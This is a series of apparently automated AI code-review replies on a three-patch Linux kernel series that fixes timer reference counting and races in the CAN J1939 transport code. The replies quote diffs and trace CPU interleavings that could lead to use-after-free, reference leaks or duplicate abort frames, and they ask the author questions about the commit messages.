      spin_lock_bh(&session->txtimer_lock);
      session->txtimer_ref = false;
      put_ref = true;
      spin_unlock_bh(&session->txtimer_lock);
  }
  ...
  j1939_session_put(session);

Wouldn't this leave session->txtimer queued in the hrtimer subsystem with
session->txtimer_ref set to false and its kref dropped, leading to a
WARN_ON_ONCE(!session->txtimer_ref) and a use-after-free of struct
j1939_session when j1939_tp_txtimer() fires? Should
j1939_session_txtimer_cancel_async_locked() avoid calling hrtimer_start() when
session->txtimer_cancelers is non-zero (since the synchronous canceler in
j1939_session_txtimer_cancel() is already waiting to cancel the timer)?

-- 
Sashiko AI review · https://sashiko.dev/#/patchset/cover.1793681851.git.zihanx@nebusec.ai?part=1

Re: [PATCH net v5 2/3] can: j1939: cancel TX timer after RX timeout

[sashiko-bot]

Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider:
- [Critical] can: j1939: race in j1939_session_txtimer_cancel_async_locked() drops kref
--

commit 6ad432b9ff1c3b364014147532b4d663b71e57c7
Author: Zihan Xi <zihanx@nebusec.ai>

can: j1939: cancel TX timer after RX timeout

This commit cancels a J1939 session's TX timer asynchronously via
j1939_session_txtimer_cancel_async() when an RX timeout moves an active
session to J1939_SESSION_WAITING_ABORT in j1939_tp_rxtimer().

Link: https://bugtracker.nebusec.ai/f/11143

> diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> index 4958f7c47ca44..c85d7bb3c12d4 100644
> --- a/net/can/j1939/transport.c
> +++ b/net/can/j1939/transport.c
> @@ -1387,6 +1387,7 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
>  						     struct j1939_session,
>  						     rxtimer);
>  	struct j1939_priv *priv = session->priv;
> +	bool cancelled = false;
>  
>  	if (session->state == J1939_SESSION_WAITING_ABORT) {
>  		netdev_alert(priv->ndev, "%s: 0x%p: abort rx timeout. Force session deactivation\n",
> @@ -1414,8 +1415,11 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
>  				      ms_to_ktime(J1939_XTP_ABORT_TIMEOUT_MS),
>  				      HRTIMER_MODE_REL_SOFT);
>  			__j1939_session_cancel(session, J1939_XTP_ABORT_TIMEOUT);
> +			cancelled = true;
>  		}
>  		j1939_session_list_unlock(session->priv);
> +		if (cancelled)
> +			j1939_session_txtimer_cancel_async(session);

[Severity: Critical]
Can calling j1939_session_txtimer_cancel_async() here race with a concurrent
j1939_session_txtimer_cancel() and re-arm session->txtimer without holding a
session kref, leading to a use-after-free of struct j1939_session?

Specifically, j1939_session_txtimer_cancel_async() calls
j1939_session_txtimer_cancel_async_locked():

net/can/j1939/transport.c:j1939_session_txtimer_cancel_async_locked() {
	lockdep_assert_held(&session->txtimer_lock);
	session->txtimer_shutdown = true;
	ret = hrtimer_try_to_cancel(&session->txtimer);
	/* Let a queued successor finish promptly after callback exit. */
	if (ret < 0 && session->txtimer_ref &&
	    hrtimer_is_queued(&session->txtimer))
		hrtimer_start(&session->txtimer, 0, HRTIMER_MODE_REL_SOFT);
	...
}

While j1939_session_txtimer_cancel() waits for a running callback outside
session->txtimer_lock:

net/can/j1939/transport.c:j1939_session_txtimer_cancel() {
	...
	/* Never wait for a softirq callback while holding txtimer_lock. */
	if (ret < 0) {
		ret = hrtimer_cancel(&session->txtimer);
		if (ret == 1) {
			spin_lock_bh(&session->txtimer_lock);
			if (!WARN_ON_ONCE(!session->txtimer_ref)) {
				session->txtimer_ref = false;
				put_ref = true;
			}
			spin_unlock_bh(&session->txtimer_lock);
		}
	}
	...
}

Consider the following sequence across three CPUs when an RX timeout occurs
while j1939_tp_txtimer() is completing and a synchronous cancellation (for
example via j1939_xtp_rx_abort_one() on the abort frame sent by
__j1939_session_cancel(), or via an incoming CTS/RTS frame) runs
concurrently:

1. On CPU 0, j1939_tp_txtimer() is running, has queued a successor via
   j1939_tp_schedule_txtimer() (so session->txtimer is queued and
   session->txtimer_ref is true), releases session->txtimer_lock, and is
   about to finish __run_hrtimer().

2. On CPU 1, j1939_session_txtimer_cancel() increments
   session->txtimer_cancelers, sees hrtimer_try_to_cancel() return -1 because
   CPU 0 has not cleared base->running yet, drops session->txtimer_lock, and
   calls hrtimer_cancel(&session->txtimer).

3. On CPU 2, j1939_tp_rxtimer() calls j1939_session_txtimer_cancel_async(),
   which acquires session->txtimer_lock and enters
   j1939_session_txtimer_cancel_async_locked(). It also sees
   hrtimer_try_to_cancel() return -1 while CPU 0 is still in __run_hrtimer(),
   and evaluates ret < 0 && session->txtimer_ref &&
   hrtimer_is_queued(&session->txtimer) as true without checking
   session->txtimer_cancelers.

4. CPU 0 finishes __run_hrtimer() and clears base->running. On CPU 1,
   hrtimer_cancel(&session->txtimer) immediately succeeds in cancelling the
   queued timer and returns 1.

5. CPU 2 calls hrtimer_start(&session->txtimer, 0, HRTIMER_MODE_REL_SOFT),
   re-enqueuing session->txtimer, and releases session->txtimer_lock.

6. CPU 1 acquires session->txtimer_lock, sees ret == 1 and
   session->txtimer_ref == true, sets session->txtimer_ref = false, and drops
   the timer's session reference via j1939_session_put(session).

At that point, session->txtimer is queued in the hrtimer subsystem with
session->txtimer_ref == false and no kref pinning the session. Should
j1939_session_txtimer_cancel_async_locked() avoid calling hrtimer_start()
when session->txtimer_cancelers is non-zero (or otherwise synchronize with
concurrent cancelers)?

-- 
Sashiko AI review · https://sashiko.dev/#/patchset/cover.1793681851.git.zihanx@nebusec.ai?part=2

Re: [PATCH net v5 1/3] can: j1939: fix TX timer reference accounting

[netdev-bot+sashiko]

Thank you for your contribution! Sashiko AI review found 4 potential
issue(s) to consider.

Critical: 0 · High: 1 · Medium: 1 · Low: 2

If you believe none of the issues are legitimate, please reply to each
issue of Medium severity or higher and explain why the AI is wrong.
If any of them are legitimate and you plan to respin, please let patchwork
know by including "pw-bot: cr" as a separate line at the end of your reply
(one such reply per series is enough).

- [High] The TX-timer pin can be lost while the timer is still queued.
- [Medium] The subject and body describe only reference accounting.
- [Low] The commit message says what the new accounting scheme does but
  not what is broken, how it is triggered, or what users see.
- [Low] In struct j1939_session (net/can/j1939/j1939-priv.h), the comment
  "One reference pins the complete queued/running timer lifetime." sits…

--

can: j1939: fix TX timer reference accounting

This commit drops the session reference that j1939_tp_schedule_txtimer()
took on every arm. Instead it uses one txtimer_ref pin, protected by a new
txtimer_lock. It also adds a txtimer_shutdown latch and a canceler counter
so the cancel, deactivate and abort paths stop the TX timer and keep it
from being re-armed.

Link: https://bugtracker.nebusec.ai/f/11143

> can: j1939: fix TX timer reference accounting
>
> Keep one session reference across the complete queued and running lifetime
> of the TX timer. Re-arming an active timer reuses this pin; cancellation
> or callback completion drops it only after no successor remains queued.

[Severity: Low]
Could the commit message describe the bug being fixed and how it is
triggered?

Before this patch, j1939_tp_schedule_txtimer() took a session reference on
every hrtimer_start(). j1939_xtp_rx_dat_one() re-arms the receiver's txtimer
without cancelling it first:

net/can/j1939/transport.c:j1939_xtp_rx_dat_one() {
    ...
	} else if (do_cts_eoma) {
		j1939_tp_set_rxtimeout(session, 1250);
		if (!session->transmission)
			j1939_tp_schedule_txtimer(session, 0);
    ...
}

A second qualifying DAT frame from the remote peer passes the checks
(last_cmd is 0xff and pkt.rx + 1 <= total) and sets do_cts_eoma again. If
that frame is handled before the soft timer fires, the queued timer is
re-armed and one session reference leaks.

The leaked session keeps its netdev tracker and j1939_priv references.
These are released only in j1939_session_destroy(), so the result is a
permanent leak and an "unregister_netdevice: waiting for canX" hang.

This is tagged for stable. Could the message say that a remote peer can
trigger this, and what the user sees?

> diff --git a/net/can/j1939/j1939-priv.h b/net/can/j1939/j1939-priv.h
> index cf26352d1d8ce..c95fca38b8b15 100644
> --- a/net/can/j1939/j1939-priv.h
> +++ b/net/can/j1939/j1939-priv.h

[ ... ]

> @@ -290,6 +291,11 @@ struct j1939_session {
>  		unsigned int dpo;
>  	} pkt;
>  	struct hrtimer txtimer, rxtimer;
> +	unsigned int txtimer_cancelers; /* block starts while a cancel waits */
> +	spinlock_t txtimer_lock;
> +	/* One reference pins the complete queued/running timer lifetime. */
> +	bool txtimer_shutdown;
> +	bool txtimer_ref;
>  };

[Severity: Low]
This isn't a bug, but the comment sits above txtimer_shutdown while it
describes txtimer_ref on the next line.

The "running" part also promises more than the code does.
j1939_tp_txtimer() clears txtimer_ref and calls j1939_session_put() at
txtimer_done, while the callback is still executing:

	if (!queued && session->txtimer_ref) {
		session->txtimer_ref = false;
		put_ref = true;
	}
	...
	if (put_ref)
		j1939_session_put(session);

	return HRTIMER_NORESTART;

So any context that touches the session after a callback completes needs
its own reference.

Could the header also say what txtimer_lock protects? It would also help
to note that txtimer_shutdown is a one-way latch that permanently blocks
j1939_tp_schedule_txtimer().

The misplaced comment is still there at the end of the series.

> diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> index 8fcfd13e5e6f8..4958f7c47ca44 100644
> --- a/net/can/j1939/transport.c
> +++ b/net/can/j1939/transport.c
> @@ -301,9 +301,78 @@ void j1939_session_put(struct j1939_session *session)
>  	kref_put(&session->kref, __j1939_session_release);
>  }
>  
> -static void j1939_session_txtimer_cancel(struct j1939_session *session)
> +static void j1939_session_txtimer_cancel(struct j1939_session *session,
> +					 bool shutdown)
>  {
> -	if (hrtimer_cancel(&session->txtimer))
> +	bool put_ref = false;
> +	int ret;
> +

[ ... ]

> +	/* Never wait for a softirq callback while holding txtimer_lock. */
> +	if (ret < 0) {
> +		ret = hrtimer_cancel(&session->txtimer);
> +		if (ret == 1) {
> +			spin_lock_bh(&session->txtimer_lock);
> +			if (!WARN_ON_ONCE(!session->txtimer_ref)) {
> +				session->txtimer_ref = false;
> +				put_ref = true;
> +			}
> +			spin_unlock_bh(&session->txtimer_lock);
> +		}
> +	}

[ ... ]

> +static bool
> +j1939_session_txtimer_cancel_async_locked(struct j1939_session *session)
> +{
> +	int ret;
> +
> +	lockdep_assert_held(&session->txtimer_lock);
> +	session->txtimer_shutdown = true;
> +	ret = hrtimer_try_to_cancel(&session->txtimer);
> +	/* Let a queued successor finish promptly after callback exit. */
> +	if (ret < 0 && session->txtimer_ref &&
> +	    hrtimer_is_queued(&session->txtimer))
> +		hrtimer_start(&session->txtimer, 0, HRTIMER_MODE_REL_SOFT);

[Severity: High]
Can the TX timer end up queued with no session reference here?

The hrtimer_is_queued() check and the hrtimer_start() are ordered only by
txtimer_lock. The second phase of j1939_session_txtimer_cancel() drops
txtimer_lock and then calls hrtimer_cancel(). The race needs three CPUs:

CPU C: j1939_tp_txtimer()
    queues a successor (tx_dat pdelay re-arm or -ENOBUFS retry)
    txtimer_done: queued == true, keeps txtimer_ref, returns

CPU A: j1939_session_timers_cancel(), or the cancel in
       j1939_xtp_rx_cts_one() / j1939_xtp_rx_rts()
    j1939_session_txtimer_cancel()
        hrtimer_try_to_cancel() returns -1 (C is running)
        drops txtimer_lock, spins in hrtimer_cancel()

CPU B: j1939_cancel_active_session() (from j1939_sk_release() or the
       netdev notifier), j1939_session_deactivate() or
       j1939_session_cancel()
    j1939_session_txtimer_cancel_async_locked()
        hrtimer_try_to_cancel() returns -1 (C is running)
        sees txtimer_ref == true and hrtimer_is_queued() == true

C then returns. A's hrtimer_cancel() removes the queued successor and
returns 1.

B is still acting on its earlier hrtimer_is_queued() result. It calls
hrtimer_start(), which queues the timer again, and returns false without
dropping a reference.

A then takes txtimer_lock, sees txtimer_ref still true, clears it and
calls j1939_session_put(). Nothing re-checks whether the timer was
queued again in the meantime.

Suppose the remaining references (A's lookup reference, the active list
reference dropped by deactivate, the socket queue reference) reach zero
before the 0ns soft timer runs. Wouldn't j1939_session_destroy() then free
the session while its hrtimer is still in the per-CPU hrtimer queue?

That would be a use-after-free or hrtimer rbtree corruption. If the
session survives, the callback still hits
WARN_ON_ONCE(!session->txtimer_ref).

On PREEMPT_RT, spinlock_t holders can be preempted, which makes this
window much wider.

Could the phase 2 removal in j1939_session_txtimer_cancel() be serialized
against this restart? Another option is to re-check the queued state
before dropping the pin.

The later patches in the series ("cancel TX timer after RX timeout" and
"serialize session TX with state changes") do not change these functions.

[ ... ]

> @@ -716,9 +785,29 @@ static int j1939_xtp_tx_abort(struct j1939_priv *priv,
>  
>  void j1939_tp_schedule_txtimer(struct j1939_session *session, int msec)
>  {
> -	j1939_session_get(session);
> +	j1939_session_list_lock(session->priv);
> +	if (session->state != J1939_SESSION_ACTIVE) {
> +		j1939_session_list_unlock(session->priv);
> +		return;
> +	}
> +
> +	spin_lock(&session->txtimer_lock);
> +	if (session->txtimer_cancelers || session->txtimer_shutdown) {
> +		spin_unlock(&session->txtimer_lock);
> +		j1939_session_list_unlock(session->priv);
> +		return;
> +	}

[Severity: Medium]
The subject and commit message cover only reference accounting. This patch
also changes the TX timer lifecycle in ways other nodes can see on the
bus. Should the message describe these changes, or should they go in a
separate patch?

The new rules are:

j1939_tp_schedule_txtimer() now returns silently, with no error to the
caller, unless the state is J1939_SESSION_ACTIVE, txtimer_shutdown is
clear and txtimer_cancelers is 0.

j1939_tp_txtimer() now skips all TX work (RTS, CTS, DAT, EOMA and simple
send) when txtimer_shutdown is set or the state is not ACTIVE:

	if (shutdown || !can_rearm)
		goto txtimer_done;

j1939_session_deactivate() and j1939_session_cancel() now set
txtimer_shutdown and call j1939_session_txtimer_cancel_async(). Before
this, a queued txtimer stayed armed and could still put frames on the bus.

j1939_session_timers_cancel() now passes shutdown=true, which latches
txtimer_shutdown for good. j1939_session_deactivate_locked() sets
txtimer_shutdown even when the session is not active.

Together these fix a separate bug that the message does not mention: TX
frames being sent on a session already in WAITING_ABORT or DONE. Having it
inside a stable refcount fix makes bisecting and backporting harder.

[ ... ]

-- 
Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1793681851.git.zihanx%40nebusec.ai

Re: [PATCH net v5 2/3] can: j1939: cancel TX timer after RX timeout

[netdev-bot+sashiko]

Thank you for your contribution! Sashiko AI review found 2 potential
issue(s) to consider.

Critical: 1 · High: 0 · Medium: 0 · Low: 1

If you believe none of the issues are legitimate, please reply to each
issue of Medium severity or higher and explain why the AI is wrong.
If any of them are legitimate and you plan to respin, please let patchwork
know by including "pw-bot: cr" as a separate line at the end of your reply
(one such reply per series is enough).

- [Critical] can: j1939: race in
  j1939_session_txtimer_cancel_async_locked() drops kref
- [Low] The commit message for "can: j1939: cancel TX timer after RX
  timeout" says what the code does ("stop its TX timer after dropping…

--

can: j1939: cancel TX timer after RX timeout

When j1939_tp_rxtimer() moves an active session to WAITING_ABORT, this
patch now calls j1939_session_txtimer_cancel_async() on the session's
TX timer after dropping active_session_list_lock. That matches what
j1939_session_cancel() already does.

Link: https://bugtracker.nebusec.ai/f/11143

> diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> index 4958f7c47ca44..c85d7bb3c12d4 100644
> --- a/net/can/j1939/transport.c
> +++ b/net/can/j1939/transport.c

[ ... ]

> @@ -1414,8 +1415,11 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
>  				      ms_to_ktime(J1939_XTP_ABORT_TIMEOUT_MS),
>  				      HRTIMER_MODE_REL_SOFT);
>  			__j1939_session_cancel(session, J1939_XTP_ABORT_TIMEOUT);
> +			cancelled = true;
>  		}
>  		j1939_session_list_unlock(session->priv);
> +		if (cancelled)
> +			j1939_session_txtimer_cancel_async(session);

[Severity: Critical]
Can this new call race with a synchronous j1939_session_txtimer_cancel()
on another CPU and leave the TX timer queued without its session
reference?

j1939_session_txtimer_cancel_async_locked() kicks the timer with
hrtimer_start(&session->txtimer, 0, ...) when hrtimer_try_to_cancel()
returns -1 and the timer is still queued, but it does not look at
session->txtimer_cancelers. j1939_session_txtimer_cancel() on the other
hand drops session->txtimer_lock while it waits in hrtimer_cancel(), so
holding txtimer_lock here does not serialize against it.

Consider this interleaving:

CPU0: j1939_tp_txtimer() has queued a successor through
      j1939_tp_schedule_txtimer(). At txtimer_done it sees queued ==
      true, keeps session->txtimer_ref set and returns, but
      __run_hrtimer() has not cleared the running state yet.

CPU1: j1939_session_txtimer_cancel(), for example from
      j1939_xtp_rx_abort_one(), j1939_xtp_rx_cts_one() or
      j1939_xtp_rx_rts(), increments txtimer_cancelers, gets -1 from
      hrtimer_try_to_cancel(), drops txtimer_lock and blocks in
      hrtimer_cancel().

CPU2: j1939_tp_rxtimer() reaches the new
      j1939_session_txtimer_cancel_async() call. Under txtimer_lock,
      hrtimer_try_to_cancel() also returns -1, and txtimer_ref and
      hrtimer_is_queued() are both true.

CPU0: __run_hrtimer() clears the running state.

CPU1: hrtimer_cancel() dequeues the successor and returns 1.

CPU2: hrtimer_start(&session->txtimer, 0, ...) enqueues the timer
      again.

CPU1: retakes txtimer_lock, sees ret == 1 with txtimer_ref set,
      clears txtimer_ref and calls j1939_session_put().

The timer is now queued with txtimer_ref == false and nothing pinning
the session. Once the remaining references are dropped the session can
be freed while the hrtimer is still enqueued, and j1939_tp_txtimer()
then runs on freed memory. Even if the session survives, the callback
trips WARN_ON_ONCE(!session->txtimer_ref).

The racy check lives in j1939_session_txtimer_cancel_async_locked(),
which this hunk does not touch, but this patch adds a new caller in
RX timeout context that runs concurrently with RX frame processing,
and the abort that __j1939_session_cancel() queues right before it may
itself be what drives the synchronous cancel on the receive path.

Should the async path skip the hrtimer_start() kick while
txtimer_cancelers is non-zero, or should j1939_session_txtimer_cancel()
recheck hrtimer_is_queued() under txtimer_lock after hrtimer_cancel()
returns before dropping the reference? Given the earlier question
about what this call fixes, would it be simpler to leave the TX timer
alone here and rely on the state check in j1939_tp_txtimer()?

[Severity: Low]
What failure does this fix? The commit message says what the code does:

  "stop its TX timer after dropping active_session_list_lock"

It does not say what goes wrong without the change, yet it carries
Fixes: 9d71dd0c7009 and Cc: stable.

On top of the earlier commit "can: j1939: fix TX timer reference
accounting", a TX timer that is still queued when the RX timeout fires
already looks like a no-op. j1939_tp_txtimer() checks the state before
doing anything:

net/can/j1939/transport.c:j1939_tp_txtimer() {
    ...
	j1939_session_list_lock(priv);
	can_rearm = session->state == J1939_SESSION_ACTIVE;
	j1939_session_list_unlock(priv);
	if (shutdown || !can_rearm)
		goto txtimer_done;
    ...
}

j1939_tp_schedule_txtimer() also refuses to re-arm outside ACTIVE:

	if (session->state != J1939_SESSION_ACTIVE) {
		j1939_session_list_unlock(session->priv);
		return;
	}

So after __j1939_session_cancel() moves the session to WAITING_ABORT,
a queued TX timer would fire, see the non-ACTIVE state, send nothing
and drop its session reference. The queued && (txtimer_shutdown ||
!can_rearm) branch at txtimer_done already makes a queued successor of
a running callback fire right away.

j1939_session_txtimer_cancel_async() uses hrtimer_try_to_cancel(), so
it does not stop a callback that is already running either. The only
visible difference seems to be that the txtimer session reference is
dropped a few milliseconds earlier.

The later commit "can: j1939: serialize session TX with state changes"
points the same way: it says a running TX callback "can continue and
send a stale CTS or EOMA" even with this cancellation in place.

Could the commit message describe the concrete failure from the linked
report, such as a leak, a stray frame or a splat? If there isn't one,
it could be reworded as a consistency follow-up to the
j1939_session_cancel() change. In that case, is the Cc: stable tag
still needed?

>  
>  		if (!session->sk)
>  			j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);

-- 
Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1793681851.git.zihanx%40nebusec.ai

Re: [PATCH net v5 3/3] can: j1939: serialize session TX with state changes

[netdev-bot+sashiko]

Thank you for your contribution! Sashiko AI review found 6 potential
issue(s) to consider.

Critical: 0 · High: 1 · Medium: 3 · Low: 2

If you believe none of the issues are legitimate, please reply to each
issue of Medium severity or higher and explain why the AI is wrong.
If any of them are legitimate and you plan to respin, please let patchwork
know by including "pw-bot: cr" as a separate line at the end of your reply
(one such reply per series is enough).

- [High] j1939_tp_set_rxtimeout() does j1939_session_rxtimer_cancel()
  (hrtimer_cancel plus a put if the timer was armed), then…
- [Medium] The patch introduces -ESHUTDOWN from j1939_session_tx_send()
  to mean 'a terminal state transition won before the frame was sent',…
- [Medium] j1939_session_cancel() now publishes WAITING_ABORT (via
  WRITE_ONCE in __j1939_session_cancel() under…
- [Medium] j1939_tp_rxtimer() can cancel a session a second time after
  j1939_session_cancel() has already moved it to WAITING_ABORT.
- [Low] This patch changes when user space gets RX_ABORT error-queue
  notifications, and the commit message does not say so.
- [Low] The comment in j1939_xtp_rx_rts_session_active() explains the
  forced receiver deactivation this way: 'If we rely on the timer…

--

can: j1939: serialize session TX with state changes

This patch adds a per-session tx_send_lock and a tx_send_shutdown flag.
Session frame sends now check the session state at the send point and
are serialized against terminal state changes. It also arms the RX abort
timeout in j1939_session_cancel() outside the active-session-list lock,
removes the j1939_session_timers_cancel() calls before
j1939_session_cancel() on the RX error paths, and advances the socket
queue when a simple session times out.

Link: https://bugtracker.nebusec.ai/f/11143

> diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> index c85d7bb3c12d4..7d6ed7fb8c56b 100644
> --- a/net/can/j1939/transport.c
> +++ b/net/can/j1939/transport.c

[ ... ]

> @@ -1261,19 +1302,36 @@ static void j1939_session_cancel(struct j1939_session *session,
>  
>  	if (session->state >= J1939_SESSION_ACTIVE &&
>  	    session->state < J1939_SESSION_WAITING_ABORT) {
> -		j1939_tp_set_rxtimeout(session, J1939_XTP_ABORT_TIMEOUT_MS);
> -		__j1939_session_cancel(session, err);
> -		spin_lock(&session->txtimer_lock);
> -		session->txtimer_shutdown = true;
> -		spin_unlock(&session->txtimer_lock);
> -		cancelled = true;
> +		bool tx_send_shutdown;
> +
> +		spin_lock(&session->tx_send_lock);
> +		tx_send_shutdown = session->tx_send_shutdown;
> +		spin_unlock(&session->tx_send_lock);
> +		if (!tx_send_shutdown) {
> +			cancelled = __j1939_session_cancel(session, err);

[ ... ]

>  	j1939_session_list_unlock(session->priv);
> -	if (cancelled)
> +	if (cancelled) {
> +		bool keep_rxtimer;
> +
> +		/* Do not wait for the RX timer while holding the session-list lock. */
> +		j1939_tp_set_rxtimeout(session, J1939_XTP_ABORT_TIMEOUT_MS);

[Severity: Medium]
Can an old protocol rxtimer fire between the state change and this
re-arm?

By this point __j1939_session_cancel() has already written
WAITING_ABORT under the list lock. The lock is then dropped before
j1939_tp_set_rxtimeout() cancels the old rxtimer.

Suppose an earlier rxtimer expires in that window, for example the 750
or 1250 ms timeout armed by j1939_xtp_rx_dat_one() or
j1939_xtp_rx_cts_one(). j1939_tp_rxtimer() checks the state without the
lock and takes this branch:

	if (session->state == J1939_SESSION_WAITING_ABORT) {
		netdev_alert(priv->ndev, "%s: 0x%p: abort rx timeout. Force session deactivation\n",
			     __func__, session);

		j1939_session_deactivate_activate_next(session);

Would that deactivate the session right away? The abort wait would be
skipped, and the next session queued on the socket would start while
the peer may still be sending for the aborted one.

The keep_rxtimer recheck keeps the references balanced, but the grace
period is still lost. Before this patch, the RX error paths drained the
rxtimer with j1939_session_timers_cancel(), and the abort timer was
armed under the lock before the state changed.

> +		j1939_session_list_lock(session->priv);
> +		keep_rxtimer = session->state == J1939_SESSION_WAITING_ABORT;
> +		j1939_session_list_unlock(session->priv);
> +		if (!keep_rxtimer)
> +			j1939_session_rxtimer_cancel(session);
>  		j1939_session_txtimer_cancel_async(session);

[Severity: High]
Can two concurrent j1939_tp_set_rxtimeout() calls leak a session
reference here?

j1939_tp_set_rxtimeout() is not atomic:

static inline void j1939_tp_set_rxtimeout(struct j1939_session *session,
					  int msec)
{
	j1939_session_rxtimer_cancel(session);
	j1939_session_get(session);
	hrtimer_start(&session->rxtimer, ms_to_ktime(msec),
		      HRTIMER_MODE_REL_SOFT);
}

The RX error paths no longer call j1939_session_timers_cancel(). So
j1939_session_cancel() now calls this helper with no lock held, and
before j1939_session_txtimer_cancel_async(), which does not wait for a
running txtimer callback.

A txtimer callback whose frame went out just before
__j1939_session_cancel() took tx_send_lock can be in
j1939_session_tx_cts() or j1939_session_tx_eoma(), or at the end of
j1939_session_tx_dat(), at the same time:

CPU1 (j1939_xtp_rx_cts_one())          CPU2 (txtimer callback)
j1939_session_cancel()                 j1939_session_tx_dat()
  j1939_tp_set_rxtimeout()               j1939_tp_set_rxtimeout(session, 250)
    hrtimer_cancel()                       hrtimer_cancel()
    j1939_session_get()                    j1939_session_get()
    hrtimer_start()                        hrtimer_start()

Both sides take a reference, but only one timer is armed, so
j1939_tp_rxtimer() drops only one of them. The keep_rxtimer recheck
cancels at most one arm.

Would this pin the session forever, along with its skb_queue, the
j1939_priv reference and the netdev_hold() tracker from
j1939_session_new()? If so, unregister_netdevice() would wait for the
CAN interface indefinitely.

The non-atomic pattern in j1939_tp_set_rxtimeout() predates this patch.
This particular pair, though, was closed by the synchronous drain in
j1939_session_timers_cancel().

> +	}
>  
> -	if (!session->sk)
> +	if (cancelled && !session->sk)
>  		j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);

[Severity: Low]
This changes when RX_ABORT is queued to user space, and the commit
message doesn't mention it.

Before the patch, j1939_session_cancel() and the else branch of
j1939_tp_rxtimer() queued J1939_ERRQUEUE_RX_ABORT whenever
!session->sk. Now it is queued only when this particular call made the
ACTIVE to WAITING_ABORT transition.

Some cases no longer produce the extra notification:

- the second j1939_session_cancel(..., J1939_XTP_ABORT_BUSY) in
  j1939_xtp_rx_rts_session_active() on the receiver side
- a stale rxtimer firing on a DONE session
- a cancel that loses to a terminal path that already called
  j1939_session_timers_cancel()

j1939_session_destroy() still sends one RX_ABORT when session->err is
set.

This looks like an intentional de-duplication. Since the patch is tagged
for stable, could the commit message list this user-visible change along
with the other side changes it describes?

>  }
>  
> @@ -1329,6 +1387,9 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
>  		 * propagation of the error to user space.
>  		 */
>  		break;
> +	case -ESHUTDOWN:
> +		/* A terminal state transition won before the frame was sent. */
> +		break;

[Severity: Medium]
Does j1939_session_tx_dat() need the same handling for -ESHUTDOWN?

j1939_tp_txtimer() treats it as benign here, but the send loop in
j1939_session_tx_dat() still prints an alert for it:

net/can/j1939/transport.c:j1939_session_tx_dat() {
    ...
		ret = j1939_tp_tx_dat(session, dat, len + 1);
		if (ret < 0) {
			/* ENOBUFS == CAN interface TX queue is full */
			if (ret != -ENOBUFS)
				netdev_alert(priv->ndev,
					     "%s: 0x%p: queue data error: %i\n",
					     __func__, session, ret);
			break;
		}
    ...
	if (pkt_done)
		j1939_tp_set_rxtimeout(session, 250);
    ...
}

Suppose an RX error path such as j1939_xtp_rx_cts_one() cancels the
session while a block is being sent. The next j1939_tp_tx_dat() returns
-ESHUTDOWN, and "queue data error: -108" is printed for the race this
patch is meant to handle quietly.

If some frames went out before the gate closed, pkt_done is non-zero, so
j1939_tp_set_rxtimeout(session, 250) then runs on a WAITING_ABORT
session.

Could that replace the 500 ms J1939_XTP_ABORT_TIMEOUT_MS timer armed by
j1939_session_cancel() with a 250 ms one? j1939_tp_rxtimer() would then
force-deactivate the session early.

Before this patch, the RX error paths drained the txtimer with
j1939_session_timers_cancel() before cancelling. That way this callback
could not touch the rxtimer after the abort timer was armed.

>  	case -EOVERFLOW:
>  		j1939_session_cancel(session, J1939_XTP_ABORT_ECTS_TOO_BIG);
>  		break;
> @@ -1403,7 +1464,7 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
>  		 * be send as soon as CAN bus is in working state again.
>  		 */
>  		session->err = -ETIME;
> -		j1939_session_deactivate(session);
> +		j1939_session_deactivate_activate_next(session);
>  	} else {
>  		j1939_session_list_lock(session->priv);
>  		if (session->state >= J1939_SESSION_ACTIVE &&
> @@ -1414,14 +1475,15 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
>  			hrtimer_start(&session->rxtimer,
>  				      ms_to_ktime(J1939_XTP_ABORT_TIMEOUT_MS),
>  				      HRTIMER_MODE_REL_SOFT);
> -			__j1939_session_cancel(session, J1939_XTP_ABORT_TIMEOUT);
> -			cancelled = true;
> +			cancelled =
> +				__j1939_session_cancel(session,
> +						       J1939_XTP_ABORT_TIMEOUT);

[Severity: Medium]
Can this cancel a session a second time after j1939_session_cancel()
has already moved it to WAITING_ABORT?

The WAITING_ABORT check at the top of j1939_tp_rxtimer() runs without
the lock. The range check here still accepts WAITING_ABORT, because it
is below J1939_SESSION_ACTIVE_MAX:

CPU1 (e.g. j1939_xtp_rx_cts_one())      CPU2
j1939_session_cancel()                   j1939_tp_rxtimer()
  j1939_session_list_lock()                sees state ACTIVE
  __j1939_session_cancel()                 j1939_session_list_lock() spins
    state = WAITING_ABORT
    j1939_xtp_tx_abort()
  j1939_session_list_unlock()
                                           state < J1939_SESSION_ACTIVE_MAX
                                           __j1939_session_cancel(TIMEOUT)

__j1939_session_cancel() only bails out when tx_send_shutdown is set:

	spin_lock(&session->tx_send_lock);
	if (session->tx_send_shutdown) {
		spin_unlock(&session->tx_send_lock);
		return false;
	}

j1939_session_cancel() never sets that flag, so the second call would
run in full. It would:

- overwrite session->err, for example EILSEQ with EHOSTUNREACH
- send a second raw ABORT frame with a different reason code
- call j1939_sk_send_loop_abort() again
- queue another J1939_ERRQUEUE_RX_ABORT for sessions without a socket

Before this patch, the RX error paths drained the rxtimer with
j1939_session_timers_cancel() first, which closed this interleaving.
The commit message says:

    Ignore callback cancellation if a terminal path already shut down
    sends, including its raw ABORT response.

Should that also cover a session that is already in WAITING_ABORT?

>  		}
>  		j1939_session_list_unlock(session->priv);
>  		if (cancelled)
>  			j1939_session_txtimer_cancel_async(session);

[ ... ]

> @@ -1852,7 +1916,6 @@ static int j1939_xtp_rx_rts_session_active(struct j1939_session *session,
>  			return -EBUSY;
>  
>  		/* RTS on active session */
> -		j1939_session_timers_cancel(session);
>  		j1939_session_cancel(session, J1939_XTP_ABORT_BUSY);
